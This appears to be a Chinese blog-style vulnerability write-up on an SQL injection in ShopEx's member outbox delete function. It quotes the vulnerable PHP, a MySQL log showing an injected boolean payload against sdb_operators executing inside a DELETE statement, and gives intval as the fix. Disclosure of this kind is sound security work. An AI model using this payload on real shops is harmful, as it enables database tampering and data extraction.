无聊的sql注入
在文件:\core\shop\controller\ctl.member.php
function delOutBoxMsg() { if(!empty($_POST['deloutbox'])){ $oMsg = &$this->system->loadModel('resources/msgbox'); $oMsg->delOutBoxMsg($_POST['deloutbox']); $this->splash('success', $this->system->mkUrl("member","outbox"), __('删除成功')); }else{ $this->splash('failed', $this->system->mkUrl("member","outbox"), __('删除失败: 没有选中任何记录!')); } }
和shopex注入 漏洞 #2一样的问题
public function delOutBoxMsg( $aMsgId ) { foreach ( $aMsgId as $val ) { if ( $val ) { $aTmp[] = $val; } } if ( $aTmp ) { $this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).")" ); } return true; }
130526 20:49:28 372 Connect root@localhost on 372 Init DB shopex 372 Query SET NAMES 'utf8' 372 Query SELECT * FROM sdb_plugins WHERE plugin_type="app" 372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1 372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1 372 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1 372 Query SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1 372 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1 372 Query DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#)
查看sql执行记录已经ok
哎,体力活
修复方案: intval
查看更多关于shopex注入漏洞#3 - 网站安全 - 自学php的详细内容...